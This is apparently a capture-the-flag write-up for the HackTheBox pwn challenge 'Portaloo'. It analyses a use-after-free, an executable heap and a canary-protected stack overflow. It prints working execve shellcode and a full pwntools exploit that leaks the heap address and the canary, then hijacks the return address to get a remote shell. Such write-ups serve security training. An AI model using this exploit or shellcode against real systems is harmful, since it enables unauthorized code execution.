Portaloo
hackthebox
Task: 64-bit PIE binary with heap UAF, mprotect making heap RWX, and stack buffer overflow with canary. Solution: Write shellcode to RWX heap, leak heap address via tcache safe-linking UAF, leak canary via null byte overwrite, stack smash to jump to shellcode.
$ ls tags/ techniques/
Portaloo — HackTheBox
Description
"Portals... A gateway to other dimensions, where chaos meets creativity and the void greets you."
64-bit ELF PIE binary with full protections (Full RELRO, NX, Canary, PIE). Custom glibc 2.35 (Ubuntu GLIBC 2.35-0ubuntu3.8) provided. Remote target: 154.57.164.78:32357.
The binary is a portal management system with 5 menu options:
- Create Portal —
malloc(0x20), stores pointer inslots[0]orslots[1]. On first allocation, callsmprotect()on the heap page with flagsPROT_READ|PROT_WRITE|PROT_EXEC(7) — makes the heap RWX. - Destroy Portal —
free(slots[n]), but does NOT NULL the pointer (UAF). - Upgrade Portal —
read(0, slots[n], 0x15)— writes 21 bytes to the portal. - Peek into the Void —
printf("Coordinate: %d ---- Data: %.*s", 0x15, i, slots[i])— reads portal data. - Step into the Portal — stack buffer of 0x48 bytes. First
read()for 0x50 bytes (8-byte overflow past buffer into canary). Secondread()for 0x68 bytes (0x20-byte overflow — overwrites canary, saved rbp, return address). After this function,maincallsexit(0).
Global Variables
slots[2]at address 0x4060 — array of 2 heap pointersmprotect_calledat address 0x4050 — flag ensuring mprotect is called only once
Protections
| Protection | Status |
|---|---|
| PIE | ✅ Enabled |
| NX | ✅ Enabled (but heap is made RWX via mprotect!) |
| Canary | ✅ Enabled |
| RELRO | Full |
Analysis
Vulnerability 1: RWX Heap (mprotect abuse)
In create_portal(), the first allocation triggers:
page_aligned = slots[n] & ~(page_size - 1); mprotect(page_aligned, page_size, PROT_READ|PROT_WRITE|PROT_EXEC);
This makes the entire heap page executable — perfect for shellcode.
Vulnerability 2: Use-After-Free (UAF)
destroy_portal() calls free(slots[n]), but never sets slots[n] = NULL. This means:
upgrade_portal()can write to freed chunks (write-after-free)peek_into_the_void()can read from freed chunks (read-after-free / info leak)
Vulnerability 3: Stack Buffer Overflow in step_into_the_portal
char buf[0x48]; // at rbp-0x50 // First read — canary leak read(0, buf, 0x50); // 8 bytes overflow, overwrites canary LSB printf("[!] Amazing option choosing %s", buf); // leaks canary if null byte is overwritten // Buffer is cleared memset(buf, 0, 0x48); // Second read — full overflow read(0, buf, 0x68); // 0x20 bytes overflow: canary + rbp + ret addr
Key point: after returning from step_into_the_portal, the main function calls exit(0), so we need to hijack control exactly when returning from step_into_the_portal, not from main.
Solution
Exploitation Strategy
┌─────────────────────────────────────────────────────────┐
│ 1. Create Portal 0 → mprotect → heap RWX │
│ 2. Create Portal 1 │
│ 3. Upgrade Portal 0 → write 21-byte execve shellcode │
│ 4. Destroy Portal 1 → free → tcache, fd = safe-linked │
│ 5. Peek Portal 1 (UAF) → leak tcache fd → heap base │
│ 6. Step into Portal → leak canary → smash stack → RCE │
└─────────────────────────────────────────────────────────┘
Step 1: Creating Portals and RWX Heap
Create portal 0 — this triggers mprotect(), making the heap page RWX. Then create portal 1.
Step 2: Writing Shellcode to Heap
Write a 21-byte execve("/bin//sh", NULL, NULL) shellcode to portal 0 via Upgrade:
xor rsi, rsi ; 48 31 f6 — rsi = 0 (argv) push rsi ; 56 — push 0 (null terminator) movabs rdi, "/bin//sh" ; 48 bf 2f 62 69 6e 2f 2f 73 68 — string in rdi push rdi ; 57 — push string to stack mov rdi, rsp ; 48 89 e7 — rdi = pointer to string cdq ; 99 — rdx = 0 (envp) mov al, 0x3b ; b0 3b — syscall number execve syscall ; 0f 05
Total: 3 + 1 + 10 + 1 + 3 + 1 + 2 + 2 = 21 bytes — fits exactly within the read(0, slots[n], 0x15) limit.
Step 3: Heap Address Leak via UAF
Free portal 1 — the chunk goes into tcache. In glibc 2.35, tcache uses safe linking:
fd_stored = real_next_ptr ^ (chunk_addr >> 12)
Since the tcache bin was empty, real_next_ptr = 0, therefore:
fd_stored = 0 ^ (chunk1_addr >> 12) = chunk1_addr >> 12
Read portal 1 via Peek (UAF) → get chunk1_addr >> 12 → recover heap base:
heap_key = u64(leaked_bytes.ljust(8, b'\x00')) shellcode_addr = (heap_key << 12) + 0x2a0 # offset to chunk0 user data
The 0x2a0 offset is the distance from the heap page start to chunk 0's user data (where the shellcode resides).
Step 4: Stack Canary Leak
Call option 5 (Step into the Portal):
- First read (0x50 bytes): send exactly 0x49 bytes — 0x48 bytes of padding + 1 byte to overwrite the canary's null LSB
printf("[!] Amazing option choosing %s", buf)— since the canary's null terminator is overwritten,%scontinues reading past the buffer and outputs the remaining 7 bytes of the canary- Extract the 7 leaked bytes, prepend
\x00(canary LSB is always 0x00)
Step 5: Stack Smash → Jump to Shellcode
Second read (0x68 bytes) — construct payload:
[0x48 bytes padding] [8 bytes canary] [8 bytes fake rbp] [8 bytes ret addr → shellcode]
Function returns → RIP = shellcode address on RWX heap → execve("/bin/sh") → shell!
Full Exploit
from pwn import * context.binary = './portaloo' context.arch = 'amd64' def create(io, idx): io.sendlineafter(b'>> ', b'1') io.sendlineafter(b'number: ', str(idx).encode()) def destroy(io, idx): io.sendlineafter(b'>> ', b'2') io.sendlineafter(b'number: ', str(idx).encode()) def upgrade(io, idx, data): io.sendlineafter(b'>> ', b'3') io.sendlineafter(b'number: ', str(idx).encode()) io.sendafter(b'data: ', data) def peek(io): io.sendlineafter(b'>> ', b'4') return io.recvuntil(b'-=[ Portaloo ]=-', drop=True) # ── Connect ────────────────────────────────────────────── io = remote('154.57.164.78', 32357) # ── Step 1: Create portals (first triggers mprotect → RWX heap) ── create(io, 0) create(io, 1) # ── Step 2: Write shellcode to portal 0 ────────────────── # 21-byte execve("/bin//sh", NULL, NULL) shellcode shellcode = b"\x48\x31\xf6" # xor rsi, rsi shellcode += b"\x56" # push rsi shellcode += b"\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68" # movabs rdi, "/bin//sh" shellcode += b"\x57" # push rdi shellcode += b"\x48\x89\xe7" # mov rdi, rsp shellcode += b"\x99" # cdq (rdx=0) shellcode += b"\xb0\x3b" # mov al, 0x3b shellcode += b"\x0f\x05" # syscall assert len(shellcode) == 21 # exactly 0x15 bytes upgrade(io, 0, shellcode) # ── Step 3: Leak heap address via UAF ──────────────────── destroy(io, 1) leak_data = peek(io) # Parse tcache safe-linked fd from freed chunk 1 # In glibc 2.35: fd_stored = real_next ^ (chunk_addr >> 12) # Since tcache was empty: fd_stored = 0 ^ (chunk1_addr >> 12) = chunk1_addr >> 12 # Extract leaked bytes from peek output (after "Data: " field) idx = leak_data.index(b'Data: ') + 6 leaked_bytes = leak_data[idx:idx+6] heap_key = u64(leaked_bytes.ljust(8, b'\x00')) shellcode_addr = (heap_key << 12) + 0x2a0 # offset to chunk0 user data log.info(f"Heap key: {hex(heap_key)}") log.info(f"Shellcode addr: {hex(shellcode_addr)}") # ── Step 4: Leak stack canary ──────────────────────────── io.sendlineafter(b'>> ', b'5') # First read: 0x48 padding + 1 byte to overwrite canary's null LSB io.sendafter(b'with you?\n', b'A' * 0x48 + b'B') resp = io.recvuntil(b'Any last words') # Canary starts right after our 0x49 bytes of output # printf("%s") leaks past buffer into canary (null terminator was overwritten) canary_offset = resp.index(b'A' * 0x10) + 0x48 + 1 # after padding + 'B' canary_bytes = resp[canary_offset:canary_offset + 7] canary = u64(b'\x00' + canary_bytes[:7]) log.info(f"Canary: {hex(canary)}") # ── Step 5: Stack smash → jump to shellcode ────────────── payload = b'A' * 0x48 # buffer padding payload += p64(canary) # correct canary payload += p64(0) # fake saved rbp payload += p64(shellcode_addr) # return address → shellcode on RWX heap io.sendafter(b'words: ', payload) # ── Shell! ─────────────────────────────────────────────── io.interactive()
Key Indicators
Use this combination of techniques when:
- mprotect on heap — binary itself makes the heap page RWX → can write and execute shellcode directly on the heap
- free() without NULLing pointer — classic UAF, allows reading/writing to freed chunks
- glibc 2.35 + tcache safe linking — fd in tcache is masked with XOR
(addr >> 12), but with empty binnext = 0and the mask is trivially recoverable - read() overflow by 1+ bytes past canary — overwriting canary's null LSB +
printf("%s")= canary leak - Two-stage read in one function — first for leak, second for overwrite
- Full RELRO + PIE — GOT overwrite impossible, but RWX heap provides direct path to code execution
Notes
- Shellcode is exactly 21 bytes — fits precisely within the
read(0, ptr, 0x15)limit. If the limit were smaller, staged shellcode or another approach would be needed. - The 0x2a0 offset from heap page start to chunk 0's user data depends on the allocator and may differ across glibc versions. Determined empirically via GDB.
exit(0)in main afterstep_into_the_portal()means RIP hijack must occur when returning from the nested function, not from main.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [pwn][Pro]pwn9_mc4 — Mic Check: leak and pwn!— spbctf
- [pwn][free]Regularity— hackthebox
- [pwn][Pro]pwn9_mc5 — Mic Check: leak and pwn 2!— spbctf
- [pwn][Pro]pwn10_nosoeasy — No-So-Easy: tcache poison → GOT overwrite— spbctf
- [pwn][free]Void— hackthebox